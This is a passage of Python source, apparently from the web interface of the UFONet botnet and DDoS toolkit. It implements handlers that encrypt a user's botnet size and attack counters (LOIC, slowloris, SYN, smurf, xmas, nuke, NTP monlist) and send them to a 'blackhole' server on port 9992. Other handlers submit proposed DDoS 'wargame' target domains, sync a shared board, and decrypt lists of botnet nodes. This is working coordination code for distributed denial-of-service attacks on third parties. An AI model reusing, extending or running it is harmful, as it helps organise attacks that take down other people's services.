  4747. self.encrypt(grid_key, grid_smurf)
  4748. if self.encryptedtext:
  4749. grid_smurf = self.encryptedtext
  4750. self.encryptedtext = "" # clean encryptedtext buffer
  4751. grid_xmas = str(i[13])
  4752. self.encrypt(grid_key, grid_xmas)
  4753. if self.encryptedtext:
  4754. grid_xmas = self.encryptedtext
  4755. self.encryptedtext = "" # clean encryptedtext buffer
  4756. grid_nuke = str(i[14])
  4757. self.encrypt(grid_key, grid_nuke)
  4758. if self.encryptedtext:
  4759. grid_nuke = self.encryptedtext
  4760. self.encryptedtext = "" # clean encryptedtext buffer
  4761. grid_tachyon = str(i[15])
  4762. self.encrypt(grid_key, grid_tachyon)
  4763. if self.encryptedtext:
  4764. grid_tachyon = self.encryptedtext
  4765. self.encryptedtext = "" # clean encryptedtext buffer
  4766. grid_monlist = str(i[16])
  4767. self.encrypt(grid_key, grid_monlist)
  4768. if self.encryptedtext:
  4769. grid_monlist = self.encryptedtext
  4770. self.encryptedtext = "" # clean encryptedtext buffer
  4771. grid_contact = str(i[17])
  4772. self.encrypt(grid_key, grid_contact)
  4773. if self.encryptedtext:
  4774. grid_contact = self.encryptedtext
  4775. self.encryptedtext = "" # clean encryptedtext buffer
  4776. grid_id = str(i[18]) # id (plain id)
  4777. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  4778. f.write(l + os.linesep)
  4779. f.close()
  4780. except:
  4781. pass
  4782. if page == "/cmd_grid_filter_update":
  4783. if not os.path.exists('/tmp/out'):
  4784. open('/tmp/out', 'w').close()
  4785. with open('/tmp/out', 'r') as f:
  4786. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  4787. if page == "/cmd_transfer_grid":
  4788. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4789. blackhole_ip = pGet["grid_source"]
  4790. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4791. try:
  4792. grid_key = pGet["grid_key"]
  4793. except:
  4794. grid_key = ""
  4795. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4796. if grid_key is not "": # stream creation + encryption + package send
  4797. try:
  4798. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  4799. grid_data = json.load(grid_json_file)
  4800. grid_json_file.close()
  4801. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  4802. stats_data = json.load(stats_json_file)
  4803. stats_json_file.close()
  4804. nickname = grid_data["grid_nick"].encode('utf-8')
  4805. self.encrypt(grid_key, nickname)
  4806. if self.encryptedtext:
  4807. nickname = self.encryptedtext
  4808. self.encryptedtext = "" # clean encryptedtext buffer
  4809. ranking = self.ranking
  4810. if ranking == "Rookie":
  4811. ranking = 1
  4812. elif ranking == "Mercenary":
  4813. ranking = 2
  4814. elif ranking == "Bandit":
  4815. ranking = 3
  4816. elif ranking == "UFOmmander!":
  4817. ranking = 4
  4818. elif ranking == "UFOl33t!":
  4819. ranking = 5
  4820. else:
  4821. ranking = 1
  4822. self.encrypt(grid_key, str(ranking))
  4823. if self.encryptedtext:
  4824. ranking = self.encryptedtext
  4825. self.encryptedtext = "" # clean encryptedtext buffer
  4826. chargo = self.total_botnet
  4827. self.encrypt(grid_key, str(chargo))
  4828. if self.encryptedtext:
  4829. chargo = self.encryptedtext
  4830. self.encryptedtext = "" # clean encryptedtext buffer
  4831. dorking = stats_data["scanner"]
  4832. self.encrypt(grid_key, str(dorking))
  4833. if self.encryptedtext:
  4834. dorking = self.encryptedtext
  4835. self.encryptedtext = "" # clean encryptedtext buffer
  4836. transferred = stats_data["transferred"]
  4837. self.encrypt(grid_key, str(transferred))
  4838. if self.encryptedtext:
  4839. transferred = self.encryptedtext
  4840. self.encryptedtext = "" # clean encryptedtext buffer
  4841. max_chargo = stats_data["max_chargo"]
  4842. self.encrypt(grid_key, str(max_chargo))
  4843. if self.encryptedtext:
  4844. max_chargo = self.encryptedtext
  4845. self.encryptedtext = "" # clean encryptedtext buffer
  4846. missions = stats_data["missions"]
  4847. self.encrypt(grid_key, str(missions))
  4848. if self.encryptedtext:
  4849. missions = self.encryptedtext
  4850. self.encryptedtext = "" # clean encryptedtext buffer
  4851. attacks = stats_data["completed"]
  4852. self.encrypt(grid_key, str(attacks))
  4853. if self.encryptedtext:
  4854. attacks = self.encryptedtext
  4855. self.encryptedtext = "" # clean encryptedtext buffer
  4856. loic = stats_data["loic"]
  4857. self.encrypt(grid_key, str(loic))
  4858. if self.encryptedtext:
  4859. loic = self.encryptedtext
  4860. self.encryptedtext = "" # clean encryptedtext buffer
  4861. loris = stats_data["loris"]
  4862. self.encrypt(grid_key, str(loris))
  4863. if self.encryptedtext:
  4864. loris = self.encryptedtext
  4865. self.encryptedtext = "" # clean encryptedtext buffer
  4866. ufosyn = stats_data["ufosyn"]
  4867. self.encrypt(grid_key, str(ufosyn))
  4868. if self.encryptedtext:
  4869. ufosyn = self.encryptedtext
  4870. self.encryptedtext = "" # clean encryptedtext buffer
  4871. spray = stats_data["spray"]
  4872. self.encrypt(grid_key, str(spray))
  4873. if self.encryptedtext:
  4874. spray = self.encryptedtext
  4875. self.encryptedtext = "" # clean encryptedtext buffer
  4876. smurf = stats_data["smurf"]
  4877. self.encrypt(grid_key, str(smurf))
  4878. if self.encryptedtext:
  4879. smurf = self.encryptedtext
  4880. self.encryptedtext = "" # clean encryptedtext buffer
  4881. xmas = stats_data["xmas"]
  4882. self.encrypt(grid_key, str(xmas))
  4883. if self.encryptedtext:
  4884. xmas = self.encryptedtext
  4885. self.encryptedtext = "" # clean encryptedtext buffer
  4886. nuke = stats_data["nuke"]
  4887. self.encrypt(grid_key, str(nuke))
  4888. if self.encryptedtext:
  4889. nuke = self.encryptedtext
  4890. self.encryptedtext = "" # clean encryptedtext buffer
  4891. tachyon = stats_data["tachyon"]
  4892. self.encrypt(grid_key, str(tachyon))
  4893. if self.encryptedtext:
  4894. tachyon = self.encryptedtext
  4895. self.encryptedtext = "" # clean encryptedtext buffer
  4896. monlist = stats_data["monlist"]
  4897. self.encrypt(grid_key, str(monlist))
  4898. if self.encryptedtext:
  4899. monlist = self.encryptedtext
  4900. self.encryptedtext = "" # clean encryptedtext buffer
  4901. contact = grid_data["grid_contact"].encode('utf-8')
  4902. self.encrypt(grid_key, str(contact))
  4903. if self.encryptedtext:
  4904. contact = self.encryptedtext
  4905. self.encryptedtext = "" # clean encryptedtext buffer
  4906. id = grid_data["grid_token"] # plain text
  4907. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  4908. try:
  4909. host = blackhole_ip
  4910. cport = 9992 # port used by mothership grider (server side script)
  4911. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4912. gs.settimeout(5.0)
  4913. gs.connect((host, cport))
  4914. gs.send(stream)
  4915. gs.close()
  4916. try: # download latest grid after submit
  4917. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4918. f = open(self.grid_file, "w") # write updates to grid.txt
  4919. f.write(grid)
  4920. f.close()
  4921. except:
  4922. pass
  4923. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  4924. except:
  4925. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  4926. except:
  4927. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  4928. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4929. f = open("/tmp/out", "w")
  4930. f.write(grid_trans)
  4931. f.write(end_mark)
  4932. f.close()
  4933. if page == "/cmd_transfer_grid_update":
  4934. if not os.path.exists('/tmp/out'):
  4935. open('/tmp/out', 'w').close()
  4936. with open('/tmp/out', 'r') as f:
  4937. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  4938. if page == "/cmd_transfer_wargame":
  4939. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4940. blackhole_ip = pGet["wargames_source2"]
  4941. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4942. try:
  4943. wargames_enckey = pGet["wargames_enckey"]
  4944. except:
  4945. wargames_enckey = ""
  4946. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4947. wargames_target = pGet["wargames_target"]
  4948. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  4949. t = urlparse(wargames_target)
  4950. wargames_target = t.netloc
  4951. else:
  4952. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  4953. wargames_enckey = ""
  4954. if wargames_target.startswith("www."):
  4955. wargames_target = wargames_target.replace("www.","")
  4956. wargames_estimated = pGet["wargames_estimated"]
  4957. try:
  4958. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4959. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4960. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  4961. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  4962. wargames_enckey = ""
  4963. except:
  4964. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  4965. wargames_enckey = ""
  4966. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4967. if wargames_enckey is not "": # stream creation + encryption + package send
  4968. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4969. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4970. try:
  4971. self.encrypt(wargames_enckey, wargames_creation)
  4972. if self.encryptedtext:
  4973. wargames_creation = self.encryptedtext
  4974. self.encryptedtext = "" # clean encryptedtext buffer
  4975. self.encrypt(wargames_enckey, wargames_target)
  4976. if self.encryptedtext:
  4977. wargames_target = self.encryptedtext
  4978. self.encryptedtext = "" # clean encryptedtext buffer
  4979. self.encrypt(wargames_enckey, wargames_estimated)
  4980. if self.encryptedtext:
  4981. wargames_estimated = self.encryptedtext
  4982. self.encryptedtext = "" # clean encryptedtext buffer
  4983. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  4984. try:
  4985. host = blackhole_ip
  4986. cport = 9992 # port used by mothership grider (server side script)
  4987. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4988. gs.settimeout(5.0)
  4989. gs.connect((host, cport))
  4990. gs.send(stream)
  4991. gs.close()
  4992. try: # download latest wargames after submit
  4993. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4994. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4995. f.write(wargames)
  4996. f.close()
  4997. except:
  4998. pass
  4999. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  5000. except:
  5001. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  5002. except:
  5003. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  5004. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5005. f = open("/tmp/out", "w")
  5006. f.write(wargames_trans)
  5007. f.write(end_mark)
  5008. f.close()
  5009. if page == "/cmd_transfer_wargame_update":
  5010. if not os.path.exists('/tmp/out'):
  5011. open('/tmp/out', 'w').close()
  5012. with open('/tmp/out', 'r') as f:
  5013. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  5014. if page == "/cmd_transfer_link":
  5015. self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5016. blackhole_ip = pGet["link_source2"]
  5017. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5018. try:
  5019. link_enckey = pGet["link_enckey"]
  5020. except:
  5021. link_enckey = ""
  5022. link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5023. link_url = pGet["link_url"]
  5024. if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
  5025. pass
  5026. else:
  5027. links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
  5028. link_enckey = ""
  5029. if link_url.startswith("www."):
  5030. link_url = link_url.replace("www.","")
  5031. link_topic = pGet["link_topic"]
  5032. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5033. if link_enckey is not "": # stream creation + encryption + package send
  5034. try:
  5035. self.encrypt(link_enckey, link_creation)
  5036. if self.encryptedtext:
  5037. link_creation = self.encryptedtext
  5038. self.encryptedtext = "" # clean encryptedtext buffer
  5039. self.encrypt(link_enckey, link_url)
  5040. if self.encryptedtext:
  5041. link_url = self.encryptedtext
  5042. self.encryptedtext = "" # clean encryptedtext buffer
  5043. self.encrypt(link_enckey, link_topic)
  5044. if self.encryptedtext:
  5045. link_topic = self.encryptedtext
  5046. self.encryptedtext = "" # clean encryptedtext buffer
  5047. stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
  5048. try:
  5049. host = blackhole_ip
  5050. cport = 9992 # port used by mothership grider (server side script)
  5051. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5052. gs.settimeout(5.0)
  5053. gs.connect((host, cport))
  5054. gs.send(stream)
  5055. gs.close()
  5056. try: # download latest links after submit
  5057. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  5058. f = open(self.links_file, "w") # write updates to links.txt
  5059. f.write(links)
  5060. f.close()
  5061. except:
  5062. pass
  5063. links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  5064. except:
  5065. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  5066. except:
  5067. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  5068. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5069. f = open("/tmp/out", "w")
  5070. f.write(links_trans)
  5071. f.write(end_mark)
  5072. f.close()
  5073. if page == "/cmd_transfer_link_update":
  5074. if not os.path.exists('/tmp/out'):
  5075. open('/tmp/out', 'w').close()
  5076. with open('/tmp/out', 'r') as f:
  5077. self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
  5078. if page == "/cmd_transfer_stream":
  5079. self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5080. blackhole_ip = pGet["stream_source2"]
  5081. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5082. try:
  5083. stream_enckey = pGet["stream_enckey"]
  5084. except:
  5085. stream_enckey = ""
  5086. stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5087. stream_url = pGet["stream_url"]
  5088. if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
  5089. pass
  5090. else:
  5091. streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
  5092. stream_enckey = ""
  5093. if stream_url.startswith("www."):
  5094. stream_url = stream_url.replace("www.","")
  5095. stream_topic = pGet["stream_topic"]
  5096. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5097. if stream_enckey is not "": # stream creation + encryption + package send
  5098. try:
  5099. self.encrypt(stream_enckey, stream_creation)
  5100. if self.encryptedtext:
  5101. stream_creation = self.encryptedtext
  5102. self.encryptedtext = "" # clean encryptedtext buffer
  5103. self.encrypt(stream_enckey, stream_url)
  5104. if self.encryptedtext:
  5105. stream_url = self.encryptedtext
  5106. self.encryptedtext = "" # clean encryptedtext buffer
  5107. self.encrypt(stream_enckey, stream_topic)
  5108. if self.encryptedtext:
  5109. stream_topic = self.encryptedtext
  5110. self.encryptedtext = "" # clean encryptedtext buffer
  5111. stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
  5112. try:
  5113. host = blackhole_ip
  5114. cport = 9992 # port used by mothership grider (server side script)
  5115. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5116. gs.settimeout(5.0)
  5117. gs.connect((host, cport))
  5118. gs.send(stream)
  5119. gs.close()
  5120. try: # download latest links after submit
  5121. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  5122. f = open(self.streams_file, "w") # write updates to streams.txt
  5123. f.write(streams)
  5124. f.close()
  5125. except:
  5126. pass
  5127. streams_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  5128. except:
  5129. streams_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  5130. except:
  5131. streams_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  5132. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5133. f = open("/tmp/out", "w")
  5134. f.write(streams_trans)
  5135. f.write(end_mark)
  5136. f.close()
  5137. if page == "/cmd_transfer_stream_update":
  5138. if not os.path.exists('/tmp/out'):
  5139. open('/tmp/out', 'w').close()
  5140. with open('/tmp/out', 'r') as f:
  5141. self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
  5142. if page == "/cmd_transfer_globalnet":
  5143. self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5144. blackhole_ip = pGet["globalnet_source2"]
  5145. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5146. try:
  5147. globalnet_enckey = pGet["globalnet_enckey"]
  5148. except:
  5149. globalnet_enckey = ""
  5150. globalnet_owner = pGet["globalnet_owner"]
  5151. if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
  5152. globalnet_owner = "Anonymous"
  5153. globalnet_comment = pGet["globalnet_comment"]
  5154. if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
  5155. globalnet_comment = "-"
  5156. globalnet_warp = pGet["globalnet_warp"]
  5157. try:
  5158. globalnet_ip = requests.get(check_ip_service3).text
  5159. except:
  5160. try:
  5161. globalnet_ip = requests.get(check_ip_service2).text
  5162. except:
  5163. try:
  5164. globalnet_ip = requests.get(check_ip_service1).text
  5165. except:
  5166. globalnet_ip = "Unknown!"
  5167. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5168. if globalnet_enckey is not "": # stream creation + encryption + package send
  5169. try:
  5170. self.encrypt(globalnet_enckey, globalnet_owner)
  5171. if self.encryptedtext:
  5172. globalnet_owner = self.encryptedtext
  5173. self.encryptedtext = "" # clean encryptedtext buffer
  5174. self.encrypt(globalnet_enckey, globalnet_comment)
  5175. if self.encryptedtext:
  5176. globalnet_comment = self.encryptedtext
  5177. self.encryptedtext = "" # clean encryptedtext buffer
  5178. self.encrypt(globalnet_enckey, globalnet_warp)
  5179. if self.encryptedtext:
  5180. globalnet_warp = self.encryptedtext
  5181. self.encryptedtext = "" # clean encryptedtext buffer
  5182. self.encrypt(globalnet_enckey, globalnet_ip)
  5183. if self.encryptedtext:
  5184. globalnet_ip = self.encryptedtext
  5185. self.encryptedtext = "" # clean encryptedtext buffer
  5186. stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
  5187. try:
  5188. host = blackhole_ip
  5189. cport = 9992 # port used by mothership grider (server side script)
  5190. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5191. gs.settimeout(5.0)
  5192. gs.connect((host, cport))
  5193. gs.send(stream)
  5194. gs.close()
  5195. try: # download latest globalnet after submit
  5196. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  5197. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  5198. f.write(globalnet)
  5199. f.close()
  5200. except:
  5201. pass
  5202. globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
  5203. except:
  5204. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  5205. except:
  5206. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  5207. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5208. f = open("/tmp/out", "w")
  5209. f.write(globalnet_trans)
  5210. f.write(end_mark)
  5211. f.close()
  5212. if page == "/cmd_transfer_globalnet_update":
  5213. if not os.path.exists('/tmp/out'):
  5214. open('/tmp/out', 'w').close()
  5215. with open('/tmp/out', 'r') as f:
  5216. self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  5217. if page == "/cmd_sync_board":
  5218. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  5219. blackhole_ip = pGet["board_source"]
  5220. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5221. try:
  5222. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  5223. f = open(self.board_file, "w") # write updates to board.txt
  5224. f.write(board)
  5225. f.close()
  5226. self.board_text = board
  5227. except:
  5228. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  5229. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5230. f = open("/tmp/out", "w")
  5231. f.write(str(board))
  5232. f.write(end_mark)
  5233. f.close()
  5234. if page == "/cmd_sync_board_update":
  5235. if not os.path.exists('/tmp/out'):
  5236. open('/tmp/out', 'w').close()
  5237. with open('/tmp/out', 'r') as f:
  5238. stream = f.read()
  5239. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  5240. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  5241. if page == "/cmd_send_message_board":
  5242. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5243. blackhole_ip = pGet["board_source"]
  5244. blackhole_ip = urllib.parse.unquote(blackhole_ip).decode('utf8')
  5245. try:
  5246. board_key = pGet["board_key"]
  5247. except:
  5248. board_key = ""
  5249. try:
  5250. board_topic = pGet["board_topic"]
  5251. except:
  5252. board_topic = ""
  5253. try:
  5254. board_message = pGet["stream_txt"]
  5255. except:
  5256. board_message = ""
  5257. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5258. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  5259. try:
  5260. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  5261. board_data = json.load(board_json_file)
  5262. board_json_file.close()
  5263. board_nickname = board_data["profile_nick"]
  5264. self.encrypt(board_key, board_nickname)
  5265. if self.encryptedtext:
  5266. board_nickname = self.encryptedtext
  5267. self.encryptedtext = "" # clean encryptedtext buffer
  5268. board_icon = board_data["profile_icon"]
  5269. board_icon = board_icon.replace("link", "") # keep just icon number
  5270. board_id = board_data["profile_token"]
  5271. self.encrypt(board_key, board_message)
  5272. if self.encryptedtext:
  5273. board_message = self.encryptedtext
  5274. self.encryptedtext = "" # clean encryptedtext buffer
  5275. if board_topic == "general":
  5276. board_topic = 1
  5277. elif board_topic == "opsec":
  5278. board_topic = 2
  5279. elif board_topic == "faq":
  5280. board_topic = 3
  5281. elif board_topic == "bugs":
  5282. board_topic = 4
  5283. elif board_topic == "media":
  5284. board_topic = 5
  5285. else:
  5286. board_topic = 1
  5287. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  5288. try:
  5289. host = blackhole_ip
  5290. cport = 9992 # port used by mothership grider (server side script)
  5291. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5292. gs.settimeout(5.0)
  5293. gs.connect((host, cport))
  5294. gs.send(stream)
  5295. gs.close()
  5296. try: # download latest board after submit
  5297. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  5298. f = open(self.board_file, "w") # write updates to board.txt
  5299. f.write(board)
  5300. f.close()
  5301. except:
  5302. pass
  5303. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  5304. except:
  5305. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  5306. except:
  5307. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  5308. f = open("/tmp/out", "w")
  5309. f.write(board_trans)
  5310. f.write(end_mark)
  5311. f.close()
  5312. if page == "/cmd_send_message_board_update":
  5313. if not os.path.exists('/tmp/out'):
  5314. open('/tmp/out', 'w').close()
  5315. with open('/tmp/out', 'r') as f:
  5316. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  5317. if page == "/cmd_decrypt":
  5318. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  5319. try:
  5320. news_key = pGet["news_key"]
  5321. except:
  5322. news_key = ""
  5323. try:
  5324. missions_key = pGet["missions_key"]
  5325. except:
  5326. missions_key = ""
  5327. end_mark = "\n[Info] [AI] End of decryption."
  5328. if news_key is not "": # news decryption
  5329. self.decrypted_news = []
  5330. nodec_text = "*** [This message cannot be solved with that KEY...]"
  5331. news_key = pGet["news_key"]
  5332. for news_text in self.list_news:
  5333. self.decrypt(news_key, news_text)
  5334. if self.decryptedtext:
  5335. if len(self.decryptedtext) < 2:
  5336. self.decrypted_news.append(nodec_text)
  5337. else:
  5338. self.decrypted_news.append(self.decryptedtext)
  5339. else:
  5340. self.decrypted_news.append(nodec_text)
  5341. self.decryptedtext = "" # clean decryptedtext buffer
  5342. f = open("/tmp/out", "w")
  5343. num_news = 0 # news counter
  5344. for m in self.decrypted_news:
  5345. num_news = num_news + 1
  5346. f.write("["+str(num_news)+"] " + str(m)+"\n")
  5347. f.write(end_mark)
  5348. f.close()
  5349. else:
  5350. if missions_key is not "": # missions decryption
  5351. self.decrypted_missions = []
  5352. nodec_text = "*** [This message cannot be solved with that KEY...]"
  5353. missions_key = pGet["missions_key"]
  5354. for missions_text in self.list_missions:
  5355. self.decrypt(missions_key, missions_text)
  5356. if self.decryptedtext:
  5357. if len(self.decryptedtext) < 2:
  5358. self.decrypted_missions.append(nodec_text)
  5359. else:
  5360. self.decrypted_missions.append(self.decryptedtext)
  5361. else:
  5362. self.decrypted_missions.append(nodec_text)
  5363. self.decryptedtext = "" # clean decryptedtext buffer
  5364. f = open("/tmp/out", "w")
  5365. num_mission = 0 # missions counter
  5366. for m in self.decrypted_missions:
  5367. num_mission = num_mission + 1
  5368. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  5369. f.write(end_mark)
  5370. f.close()
  5371. else: # blackholes (nodes.dat) decryption + data showing
  5372. self.decrypted_blackholes = []
  5373. nodec_text = "*** [This message cannot be solved with that key...]"
  5374. blackhole_key = pGet["blackhole_key"]
  5375. for blackholes_text in self.list_blackholes:
  5376. self.decrypt(blackhole_key, blackholes_text)
  5377. if self.decryptedtext:
  5378. self.decrypted_blackholes.append(self.decryptedtext)
  5379. else:
  5380. self.decrypted_blackholes.append(nodec_text)
  5381. self.decryptedtext = "" # clean decryptedtext buffer
  5382. f = open("/tmp/out", "w")
  5383. num_blackholes = 0 # blackholes counter
  5384. for b in self.decrypted_blackholes:
  5385. num_blackholes = num_blackholes + 1
  5386. if blackhole_sep in b: # IP | Mode | Comment | Actions
  5387. s = b.rsplit(blackhole_sep, 1)[0]
  5388. ip = str(s.rsplit(blackhole_sep, 1)[0])
  5389. mode = str(s.rsplit(blackhole_sep, 1)[1])
  5390. if mode == "D": # Download only mode
  5391. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  5392. elif mode == "U": # Upload only mode
  5393. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  5394. else: # Upload/Download mode
  5395. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  5396. comment = str(b.rsplit(blackhole_sep, 1)[1])
  5397. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  5398. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  5399. else:
  5400. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  5401. f.write(end_mark)
  5402. f.close()
  5403. if page == "/cmd_decrypt_update":
  5404. if not os.path.exists('/tmp/out'):
  5405. open('/tmp/out', 'w').close()
  5406. with open('/tmp/out', 'r') as f:
  5407. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  5408. if page == "/news":
  5409. self.pages["/news"] = self.html_news()
  5410. if page == "/missions":
  5411. self.pages["/missions"] = self.html_missions()
  5412. if page == "/board":
  5413. self.pages["/board"] = self.html_board()
  5414. if page == "/grid":
  5415. self.pages["/grid"] = self.html_grid()
  5416. if page == "/wargames":
  5417. self.pages["/wargames"] = self.html_wargames()
